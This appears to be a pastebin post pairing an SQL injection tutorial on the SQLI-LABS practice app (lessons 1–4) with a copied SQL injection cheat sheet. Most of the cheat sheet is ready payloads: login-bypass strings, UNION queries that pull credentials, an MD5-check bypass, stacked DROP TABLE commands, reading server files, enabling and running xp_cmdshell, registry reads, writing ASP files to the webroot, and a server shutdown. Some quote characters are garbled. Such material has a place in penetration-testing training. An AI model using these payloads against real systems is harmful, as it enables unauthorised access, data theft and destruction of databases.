· 9 years ago · Nov 28, 2016, 05:04 AM
1What are SQL injections?
2
3An SQL injection is a kind of injection vulnerability in which the attacker tries to inject arbitrary pieces of malicious data into the input fields of an application, which, when processed by the application, causes that data to be executed as a piece of code by the back end SQL server, thereby giving undesired results which the developer of the application did not anticipate. The backend server can be any SQL server (MySQL, MSSQL, ORACLE, POSTGRESS, to name a few)
4
5The ability of the attacker to execute code (SQL statements) through vulnerable input parameters empowers him to directly interact with the back end SQL server, thereby leveraging almost a complete compromise of system in most cases.
6
7What are different types of SQL injections?
8
9SQL injections can be classified and categorized in different ways, based on the type of data extraction channel, the response received from server, how server responses aid in leveraging the successful exploitation, impact point, etc.
10
11Based on the data extraction channel
12
13 Inband or inline
14 Out-of-band
15
16SQL injections that use the same communication channel as input to dump the information back are called inband or inline SQL Injections. This is one of the most common methods, readily explained on the Internet in different posts. For example, a query parameter, if injectable, leads to the dumping of info on the web page.
17
18Injections that use a secondary or different communication channel to dump the output of queries performed via the input channel are referred to as out-of-band SQL injections. For example, the injection is made to a web application and a secondary channel such as DNS queries is used to dump the data back to the attacker domain.
19
20Based on the response received from the server
21
22 Error-based SQL injections
23 Union query type.
24 Double query Injections.
25
26 Blind SQL Injections
27 Boolean-based blind injections.
28 Time based blind injections.
29
30Error-based SQL injections are primarily those in which the SQL server dumps some errors back to the user via the web application and this error aids in successful exploitation. In the image below, the yellow line displays the error. These will be discussed further in this post and in related posts to come.
31
32Blind SQL injections are those injections in which the backend database reacts to the input, but somehow the errors are concealed by the web application and not displayed to the end users. Or the output is not dumped directly to the screen. Therefore, the name “blind†comes from the fact that the injector is blindly injected using some calculated assumptions and tries.
33
34Based on how the input is treated in SQL query (what data type)
35
36 String-based
37 Numeric- or integer based
38
39Based on how the input parameter would be treated in the back end SQL query, an injection can be classified as string- or integer-based.
40
41Based on the degree/order of injections (where the impact happens)
42
43 First-order injections.
44 Second-order injections.
45
46The degree or the order of injection identifies the way in which the injection yields the output. If the injection directly delivers the result, it is considered to be a first-order injection, but if the injection input yields no successful result in extraction, but instead impacts some other result which the attacker can take advantage of on some other place/page, it is called a second-order injection. Consider second-order injections similar to stored XSS injections, where the input is stored in the application and later rendered on some other page, thereby impacting that page indirectly because of initial malicious input.
47
48Based on the injection point location
49
50 Injection through user input form fields.
51 Injection through cookies.
52 Injection through server variables. (headers-based injections)
53
54Why does SQL injection happen?
55
56Generally when an application is communicating with the backend database, it does so in the form of queries with the help of an underlying database driver. This driver is dependent on the application platform being used and the type of backend database, such as MYSQL, MSSQL, DB2, or ORACLE.
57
58A generic login query would look something like this:
59
60`SELECT Column1, Column2,Column3 FROM table_name WHERE username=’$variable1' AND password=’$variable2';`
61
62We can split this query into two parts, code section and the data section. The data section is the $variable1 and $variable2 and quotes are being used around the variable to define the string boundary.
63
64Let us try to walk through the process in a crude way. Say at the login form, the username entered is Admin and password is p@ssw0rd which is collected by application and values of $variable1 and $variable2 are placed at their respective locations in the query, making it something like this.
65
66`SELECT Column1, column2, Column3 FROM table_name WHERE username=’Admin’ AND password=’p@ssw0rd’;`
67
68Now the developer assumes that users of his application will always put a username and password combination to get a valid query for evaluation by database backend. What if the user is malicious and enters some characters which have some special meaning in the query? For example a single quote. So, instead of putting Admin, he puts Admin’, thereby causing an error thrown by the DB driver. Why? Because of the unpaired quote entered by the user breaking the application logic.
69
70We will discuss the process in detail. To summarize: Whenever an attacker is able to escape the data boundaries, he can append data which then gets interpreted as code by the DB Driver and is executed on the SQL backend, thereby causing SQL injection.
71
72ERROR-based SQL injections
73
74In general, all programming languages give developers a flexibility to debug and fix their applications by using some inbuilt error-handling functions/libraries. These could be some explicit function, classes, or methods that deliver friendly error messages so that the troubleshooting experience can be streamlined and detecting the part of code responsible for raising those exceptions can be easier.
75
76These functions should be controlled before an application goes to production because they can dump a lot of sensitive info about the application and underlying logic, thereby making it easy for a bad guy to exploit the application.
77
78Therefore, those applications where these error-handling functions are available to aid in gaining useful info about the application or in dumping the database info by means of SQL interaction are classified as error-based SQL Injections.
79
80Based on the way data is extracted using helpful errors, the error-based injections can be classified into two main types:
81
82 Union-query type
83 Double-query type
84
85Let’s discuss the process of SQLi in detail.
86
87To do so, let us consider Lessons 1 to 4. We will continue to explore the further lessons of Labs in coming posts. For the purpose of demonstration, I have installed the SQLI-LABS under the /var/www location on my Backtrack installation. Download and follow the install instructions to set it up to follow along.
88
89A methodological approach is always helpful in understanding the underlying logic. The major process is as follows:
90
91 Enumerate the application behavior
92 Fuzz the application with bogus data with the goal of crashing the application
93 Try to control the injection point by guessing the query used in the backend
94 Extract the data from the back end database
95
96Enough theory, time for some action.
97
98ENUMERATION:
99
100Let us start with enumeration of the applications. Lessons 1 to 4 look almost identical. When we load the page for Less-1, it asks us to input ID as a GET parameter, which should be a numeric value.
101
102Providing the ID as a numeric value, we see a specific username and password on screen when the value of ID is between 1 through 14. For any other value, we see nothing being displayed on screen.
103
104
105ANALYSIS of ENUMERATION
106
107id=15 => No output on screen.
108
109ID=1 => Login name= Dumb, Password=Dumb
110
111ID=2 => Login name= Angelina, Password=I-kill-you
112
113ID=3 => Login name= Dummy, Password=p@ssw0rd
114
115ID=4 => Login name= secure, Password=crappy
116
117ID=5 => Login name= stupid, Password=stupidity
118
119ID=6 => Login name= superman, Password=genious
120
121ID=7 => Login name= batman, Password=mob!le
122
123ID=8 => Login name= admin, Password=admin
124
125ID=9 => Login name= admin1, Password=admin1
126
127ID=10 => Login name= admin2, Password=admin2
128
129ID=11 => Login name= admin3, Password=admin3
130
131ID=12 => Login name= dhakkan, Password=Dumbo
132
133ID=13 => Login name= admin4, Password=admin4
134
135ID=14 => Login name= admin5, Password=admin5
136
137ID=15 => No output on screen.
138
139ID=20 => No output on screen.
140
141ID=100 => No output on screen.
142
143
144
145Result of Enumeration: The database seems to have 14 records in the table and for any non-existent value ID it returns an empty set.
146
147FUZZING:
148
149Generally the developer of the application assumed that the user would input integer values. After we have enumerated the application work flow, we try to fuzz all input points of the application. So what exactly is Fuzz? It is a process for supplying arbitrary dumb patterns as input with the objective to see application behavior and try to find the discrepancies in the responses. The discrepancies indicate the possibility of vulnerability. We will fuzz all the four lessons together one by one.
150
151Below are some arbitrary inputs which we can add, append and use for purpose of detecting basic error based SQLi:
152
153 ‘
154 â€
155 \
156 ;
157 %00
158 )
159 (
160 aaa
161
162Integer or string test: Because the input parameter seems to be integer value, let us try to input a string value for ID parameter and observe the behavior.
163
164Less-1 http://localhost/sqli-labs/Less-1/?id=asdf
165
166
167Less-2 http://localhost/sqli-labs/Less-2/?id=asdf
168
169
170
171Less-3 http://localhost/sqli-labs/Less-3/?id=asdf
172
173
174Less-4 http://localhost/sqli-labs/Less-4/?id=asdf
175
176
177
178Result of Integer and String Test: We see that Less-1, Less-3, and Less-4 respond by returning the empty set, whereas Less-2 returns a different behavior; it displays a MySQL error message on screen. From very basic programming knowhow, we know that a string parameter is always wrapped in single quotes or double quotes, whereas integers are used as is. Therefore we can assume that Less-1, -3, and -4 are using some sort of quotes to wrap around the user input. They consider the string entered as a non-existent value in the database and therefore respond with the empty set. Less-2 is producing a MySQL alert, meaning that there are no quotes used around the input parameter, therefore integer values work fine in a query but strings cause an error. Therefore we can deduce that Less-1, Less-2, and Less-3 are string-based injections and Less-2 is an integer-based injection.
179
180Fuzzing continued: Now let us further take the fuzz characters and try them against Less-1 through -4 one by one.
181
182Less-1
183
184http://localhost/sqli-labs/Less-1/?id=1'
185
186Less-2
187
188http://localhost/sqli-labs/Less-2/?id=1‘
189
190Less-3
191
192http://localhost/sqli-labs/Less-3/?id=1‘
193
194All three produce a similar kind of error message with a very minute difference.
195
196Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near â€1†LIMIT 0,1' at line 1
197
198
199
200And Less-4 does not produce any alert with the injection of a single quote.
201
202http://localhost/sqli-labs/Less-4/?id=1‘
203
204
205
206Trying the same exercise with a double quote injection, we observe that this time only Less-4 crashes the application and Less-1, Less-2, and Less-3 do not crash it anymore.
207
208
209
210Therefore, from the above tests, we have discovered that the applications Less-1, Less-2, and Less-3 are reactive to a single-quote injection and Less-4 is to a double-quote injection.
211
212Time to discover the underlying query being used by applications by using info gained above. We know that Less-1, Less-3, and Less-4 are string-based and Less-2 is numeric. Let us confirm this further by injecting a backslash, which is an escape character to print characters which have special meaning in SQL (for example, to print a ‘ we need to write it as \’ so the quote does not get evaluated and dumped as another character). Appending ID=1\ yields the following output:
213
214For Less-1
215
216
217
218Because we input 1\, let’s look at the part of error dumped on the screen containing 1\, which is
219near ‘ ‘1\’ LIMIT 0,1' at line 1.
220We observe that as our input was 1\, a single quote is visible after that, indicating that single quotes are used as a wrapper for the strings.
221
222Let’s take Less-2 and try the same.
223
224
225
226Our input is same but the output has a minor change to the Less-1, near ‘ ‘1\ LIMIT 0,1’ at line 1. After our input 1\ there are no quotes, again proving that Less-2 is an integer-based injection and does not need any quotes to break the query.
227
228Still confused? Let us do the same test with Less-3 and Less-4 and it will get clearer as we progress.
229
230Let us do the same test with Less-3:
231
232
233
234The error message is near ‘ ‘1\’) LIMIT 0,1' at line 1.
235
236In this lesson, with the same input of 1\, we see ‘) after our parenthesis, indicating that the developer of the application has wrapped the variable inside parentheses (‘ variable’).
237
238Let’s do the same with Less-4:
239
240
241
242Error message is near ‘ “1\â€) LIMIT 0,1’ at line 1.
243
244In this lesson, with same input of 1\, we see “) after our parenthesis indicating that the developer of the application has wrapped variable inside parentheses (“variableâ€).
245
246Building up the query being used behind the scene in the applications:
247
248Less-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1
249
250Less-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,1
251
252Less-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1
253
254Less-4: SELECT * FROM TABLE_NAME WHERE ID=(“$IDâ€) LIMIT 0,1
255
256COMMENTING OUT QUERY
257
258Until now, we have been able to detect the injection flaw, and able to guess a pseudo query with details on what is being used as a string delimiter or wrapper around the variable. One thing we need to understand is that, during the injection, we can only control the variable but not the delimiters used around it; therefore as soon as we inject an extra delimiter, it induces a syntax error.
259
260For a successful injection, we should close the open delimiter wrapped around the variable in the query, thereby making it possible for us to escape the string/integer boundary and execute SQL statements and also be able to handle the closing delimiter around the variable, which becomes stale. This can be done in two ways. One way is by commenting out the rest of query, and the second way is by adding an extra delimiter with extra values to make the query syntactically correct. Let us take an example:
261
262Less-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,1
263
264In place of $ID, we put value of 1', then the query becomes something like
265
266SELECT * FROM TABLE_NAME WHERE ID=’ 1' ‘ LIMIT 0,1
267
268Now, this query is syntactically incorrect and needs to be fixed for execution. We found and confirmed that, by adding an extra quote for Less-1, we can successfully escape the string boundary, but we need to fix the extra ‘ which is there as part of original query.
269
270Way one:
271
272We can use SQL comments to fix the syntax. MySQL uses three types of comments: –+, # , /* */, so our injection can be 1' –+ or 1' #.
273
274So the query effectively becomes
275
276SELECT * FROM TABLE_NAME WHERE ID=’ 1'–+ ‘ LIMIT 0,1
277
278SELECT * FROM TABLE_NAME WHERE ID=’ 1' # ‘ LIMIT 0,1
279
280Complete URL with injection is:
281
282http://localhost/sqli-labs/Less-1/?id=1'–+
283
284http://localhost/sqli-labs/Less-1/?id=1' %23
285(NOTE: %23 is url-encoded value for #)
286
287
288
289
290
291For Lesson 2, we do not need any extra quotes to escape and inject queries as there are no quotes in the first place, therefore a simple commenting out should be fine.
292
293http://localhost/sqli-labs/Less-2/?id=1–+
294
295http://localhost/sqli-labs/Less-2/?id=1 %23
296(NOTE: %23 is url-encoded value for #)
297
298So the query effectively becomes
299
300SELECT * FROM TABLE_NAME WHERE ID= 1'–+ LIMIT 0,1
301
302SELECT * FROM TABLE_NAME WHERE ID= 1' # LIMIT 0,1
303
304
305
306
307Let us now look at the Less-3 and Less-4.
308
309The query for Less-3 we deduced earlier was:
310
311SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1
312
313Therefore, to get a working query in this case, we need to first inject ‘) as discussed above to close the initial delimiter and then comment out rest of the query.
314
315SELECT * FROM TABLE_NAME WHERE ID=(‘ 1') –+ ‘) LIMIT 0,1
316
317SELECT * FROM TABLE_NAME WHERE ID=(‘ 1') # ‘) LIMIT 0,1
318
319The query for Less-4 we deduced earlier was:
320
321SELECT * FROM TABLE_NAME WHERE ID=(“$IDâ€) LIMIT 0,1
322
323Therefore, to get a working query in this case, we need to first inject ‘) as discussed above to close the initial delimiter and then comment out rest of the query.
324
325SELECT * FROM TABLE_NAME WHERE ID=(†1?) –+ “) LIMIT 0,1
326
327SELECT * FROM TABLE_NAME WHERE ID=(†1?) # “) LIMIT 0,1
328
329Injection: 1') –+
330
331
332Injection: 1') %23
333(NOTE: %23 is URLENCODE for #)
334
335
336Injection: 1?) –+
337
338
339Injection: 1?) %23
340(NOTE: %23 is URLENCODE for #)
341
342
343Once we are in this position, having fixed the query after successful injection, we can inject the code in between the delimiter and the comments we injected.
344
345FINDING COLUMNS USED BY DEVELOPER IN QUERIES
346
347As we saw during the enumeration phase, the application is interacting with the database and displaying some info on the web pages. Therefore we will be using UNION statements to dump the database info. A constraint to the use of the union statements is that the columns on both sides of union should be the same; therefore our last hurdle before we get something out from the database is to know number of columns used by developer in his query.
348
349To do this we use a SQL Keyword “ORDER BYâ€.
350
351When we use ORDER BY in a query, the result set is arranged as per the selection of ORDER BY clause. If the column is not valid, we get an error.
352
353Therefore in our injections, we start to add ORDER BY 1, ORDER BY 2 , ORDER BY 3………… and try to observe the result.
354
355Injection: 1' ORDER BY 1 –+ => No Error.
356
357Injection: 1' ORDER BY 2 –+ => No Error.
358
359Injection: 1' ORDER BY 3 –+ => No Error.
360
361Injection: 1' ORDER BY 4 –+ => Error – Unknown column ‘4’ in ‘order clause’, indicating we have 3 columns.
362
363
364
365For Lesson2:
366
367Injection: 1 ORDER BY 1 –+ => No Error.
368
369Injection: 1 ORDER BY 2–+ => No Error.
370
371Injection: 1 ORDER BY 3 –+ => No Error.
372
373Injection: 1 ORDER BY 4 –+ => Error – Unknown column ‘4’ in ‘order clause’, indicating we have 3 columns.
374
375
376
377
378
379For Lesson3
380
381Injection: 1') ORDER BY 1 –+ => No Error.
382
383Injection: 1') ORDER BY 2–+ => No Error.
384
385Injection: 1') ORDER BY 3 –+ => No Error.
386
387Injection: 1') ORDER BY 4 –+ => Error – Unknown column ‘4’ in ‘order clause’, indicating we have 3 columns.
388
389
390
391
392
393For Lesson4
394
395Injection: 1?) ORDER BY 1 –+ => No Error.
396
397Injection: 1?) ORDER BY 2–+ => No Error.
398
399Injection: 1?) ORDER BY 3 –+ => No Error.
400
401Injection: 1?) ORDER BY 4 –+ => Error – Unknown column ‘4’ in ‘order clause’, indicating we have 3 columns.
402
403
404
405
406
407Once we know the number of columns in the queries, we can just go ahead and dump the databases and data of our choice.
408
409
410---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
411Cheat Sheet
412
413
414What is an SQL Injection Cheat Sheet?
415
416An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.
417About the SQL Injection Cheat Sheet
418
419This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO's blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.
420
421Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.
422M : MySQL
423S : SQL Server
424P : PostgreSQL
425O : Oracle
426+ : Possibly all other databases
427Examples;
428
429 (MS) means : MySQL and SQL Server etc.
430 (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server
431
432
433Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
434Ending / Commenting Out / Line Comments
435Line Comments
436
437Comments out rest of the query.
438Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
439
440 -- (SM)
441 DROP sampletable;--
442
443 # (M)
444 DROP sampletable;#
445
446Line Comments Sample SQL Injection Attacks
447
448 Username: admin'--
449 SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
450 This is going to log you as admin user, because rest of the SQL query will be ignored.
451
452Inline Comments
453
454Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
455
456 /*Comment Here*/ (SM)
457 DROP/*comment*/sampletable
458 DR/**/OP/*bypass blacklisting*/sampletable
459 SELECT/*avoid-spaces*/password/**/FROM/**/Members
460 /*! MYSQL Special SQL */ (M)
461 This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
462
463 SELECT /*!32302 1/0, */ 1 FROM tablename
464
465Classical Inline Comment SQL Injection Attack Samples
466
467 ID: 10; DROP TABLE members /*
468 Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
469 SELECT /*!32302 1/0, */ 1 FROM tablename
470 Will throw an divison by 0 error if MySQL version is higher than3.23.02
471
472MySQL Version Detection Sample Attacks
473
474 ID: /*!32302 10*/
475 ID: 10
476 You will get the same response if MySQL version is higher than 3.23.02
477 SELECT /*!32302 1/0, */ 1 FROM tablename
478 Will throw a division by 0 error if MySQL version is higher than3.23.02
479
480Stacking Queries
481
482Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
483
484 ; (S)
485 SELECT * FROM members; DROP members--
486
487Ends a query and starts a new one.
488Language / Database Stacked Query Support Table
489
490green: supported, dark gray: not supported, light gray: unknown
491
492SQL Injection Cheat sheet
493
494About MySQL and PHP;
495To clarify some issues;
496PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
497Stacked SQL Injection Attack Samples
498
499 ID: 10;DROP members --
500 SELECT * FROM products WHERE id = 10; DROP members--
501
502This will run DROP members SQL sentence after normal SQL Query.
503If Statements
504
505Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly andaccurately.
506MySQL If Statement
507
508 IF(condition,true-part,false-part) (M)
509 SELECT IF(1=1,'true','false')
510
511SQL Server If Statement
512
513 IF condition true-part ELSE false-part (S)
514 IF (1=1) SELECT 'true' ELSE SELECT 'false'
515
516Oracle If Statement
517
518 BEGIN
519 IF condition THEN true-part; ELSE false-part; END IF; END; (O)
520 IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
521
522PostgreSQL If Statement
523
524 SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P)
525 SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
526
527If Statement SQL Injection Attack Samples
528
529if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
530This will throw an divide by zero error if current logged user is not "sa" or "dbo".
531Using Integers
532
533Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
534
535 0xHEXNUMBER (SM)
536 You can write hex like these;
537
538 SELECT CHAR(0x66) (S)
539 SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
540 SELECT 0x50 + 0x45 (this is integer now!) (M)
541
542String Operations
543
544String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
545String Concatenation
546
547 + (S)
548 SELECT login + '-' + password FROM members
549 || (*MO)
550 SELECT login || '-' || password FROM members
551
552*About MySQL "||";
553If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. A better way to do it is using CONCAT()function in MySQL.
554
555 CONCAT(str1, str2, str3, ...) (M)
556 Concatenate supplied strings.
557 SELECT CONCAT(login, password) FROM members
558
559Strings without Quotes
560
561These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
562
563 0x457578 (M) - Hex Representation of string
564 SELECT 0x457578
565 This will be selected as string in MySQL.
566
567 In MySQL easy way to generate hex representations of strings use this;
568 SELECT CONCAT('0x',HEX('c:\\boot.ini'))
569 Using CONCAT() in MySQL
570 SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
571 This will return ‘KLM’.
572 SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
573 This will return ‘KLM’.
574 SELECT CHR(75)||CHR(76)||CHR(77) (O)
575 This will return ‘KLM’.
576 SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
577 This will return ‘KLM’.
578
579Hex based SQL Injection Samples
580
581 SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
582 This will show the content of c:\boot.ini
583
584String Modification & Related
585
586 ASCII() (SMP)
587 Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
588
589 SELECT ASCII('a')
590 CHAR() (SM)
591 Convert an integer of ASCII.
592
593 SELECT CHAR(64)
594
595Union Injections
596
597With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
598
599SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
600This will combine results from both news table and members table and return all of them.
601
602Another Example:
603' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
604UNION – Fixing Language Issues
605
606While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
607
608 SQL Server (S)
609 Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
610
611 SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
612 MySQL (M)
613 Hex() for every possible issue
614
615Bypassing Login Screens (SMO+)
616
617SQL Injection 101, Login tricks
618
619 admin' --
620 admin' #
621 admin'/*
622 ' or 1=1--
623 ' or 1=1#
624 ' or 1=1/*
625 ') or '1'='1--
626 ') or ('1'='1--
627 ....
628
629 Login as different user (SM*)
630 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
631
632*Old versions of MySQL doesn't support union queries
633Bypassing second MD5 hash check login screens
634
635If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
636Bypassing MD5 Hash Check Example (MSP)
637
638Username : admin
639Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
640
64181dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
642
643Error Based - Find Columns Names
644Finding Column Names with HAVING BY - Error Based (S)
645
646In the same order,
647
648 ' HAVING 1=1 --
649 ' GROUP BY table.columnfromerror1 HAVING 1=1 --
650 ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
651 ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
652 If you are not getting any more error then it's done.
653
654Finding how many columns in SELECT query by ORDER BY (MSO+)
655
656Finding column number by ORDER BY can speed up the UNION SQL Injection process.
657
658 ORDER BY 1--
659 ORDER BY 2--
660 ORDER BY N-- so on
661 Keep going until get an error. Error means you found the number of selected columns.
662
663Data types, UNION, etc.
664Hints,
665
666 Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
667 To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
668 Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
669 Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
670
671Finding Column Type
672
673 ' union select sum(columntofind) from users-- (S)
674 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
675 [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
676
677 If you are not getting an error it means column is numeric.
678 Also you can use CAST() or CONVERT()
679 SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
680 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
681 No Error - Syntax is right. MS SQL Server Used. Proceeding.
682 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
683 No Error – First column is an integer.
684 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
685 Error! – Second column is not an integer.
686 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
687 No Error – Second column is a string.
688 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
689 Error! – Third column is not an integer. ...
690
691 Microsoft OLE DB Provider for SQL Server error '80040e07'
692 Explicit conversion from data type int to image is not allowed.
693
694You’ll get convert() errors before union target errors ! So start with convert() then union
695Simple Insert (MSO+)
696
697'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
698Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
699
700@@version (MS)
701Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also, you can use insert, update statements or in functions.
702
703INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
704Bulk Insert (S)
705
706Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
707
708 Create table foo( line varchar(8000) )
709 bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
710 Drop temp table, and repeat for another file.
711
712BCP (S)
713
714Write text file. Login Credentials are required to use this function.
715bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
716VBS, WSH in SQL Server (S)
717
718You can use VBS, WSH scripting in SQL Server because of ActiveX support.
719
720declare @o int
721exec sp_oacreate 'wscript.shell', @o out
722exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
723Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
724Executing system commands, xp_cmdshell (S)
725
726Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
727
728EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
729
730Simple ping check (configure your firewall or sniffer to identify request before launch it),
731
732EXEC master.dbo.xp_cmdshell 'ping '
733
734You can not read results directly from error or union or something else.
735Some Special Tables in SQL Server (S)
736
737 Error Messages
738 master..sysmessages
739 Linked Servers
740 master..sysservers
741 Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
742 SQL Server 2000: masters..sysxlogins
743 SQL Server 2005 : sys.sql_logins
744
745More Stored Procedures for SQL Server (S)
746
747 Cmd Execute (xp_cmdshell)
748 exec master..xp_cmdshell 'dir'
749 Registry Stuff (xp_regread)
750 xp_regaddmultistring
751 xp_regdeletekey
752 xp_regdeletevalue
753 xp_regenumkeys
754 xp_regenumvalues
755 xp_regread
756 xp_regremovemultistring
757 xp_regwrite
758 exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
759 exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
760 Managing Services (xp_servicecontrol)
761 Medias (xp_availablemedia)
762 ODBC Resources (xp_enumdsn)
763 Login mode (xp_loginconfig)
764 Creating Cab Files (xp_makecab)
765 Domain Enumeration (xp_ntsec_enumdomains)
766 Process Killing (need PID) (xp_terminate_process)
767 Add new procedure (virtually you can execute whatever you want)
768 sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
769 exec xp_webserver
770 Write text file to a UNC or an internal path (sp_makewebtask)
771
772MSSQL Bulk Notes
773
774SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
775
776DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
777
778HOST_NAME()
779IS_MEMBER (Transact-SQL)
780IS_SRVROLEMEMBER (Transact-SQL)
781OPENDATASOURCE (Transact-SQL)
782
783INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
784
785OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
786
787You can not use sub selects in SQL Server Insert queries.
788SQL Injection in LIMIT (M) or ORDER (MSO)
789
790SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
791
792If injection is in second limit you can comment it out or use in your union injection
793Shutdown SQL Server (S)
794
795When you're really pissed off, ';shutdown --
796Enabling xp_cmdshell in SQL Server 2005
797
798By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
799
800EXEC sp_configure 'show advanced options',1
801RECONFIGURE
802
803EXEC sp_configure 'xp_cmdshell',1
804RECONFIGURE
805Finding Database Structure in SQL Server (S)
806Getting User defined Tables
807
808SELECT name FROM sysobjects WHERE xtype = 'U'
809Getting Column Names
810
811SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
812Moving records (S)
813
814 Modify WHERE and use NOT IN or NOT EXIST,
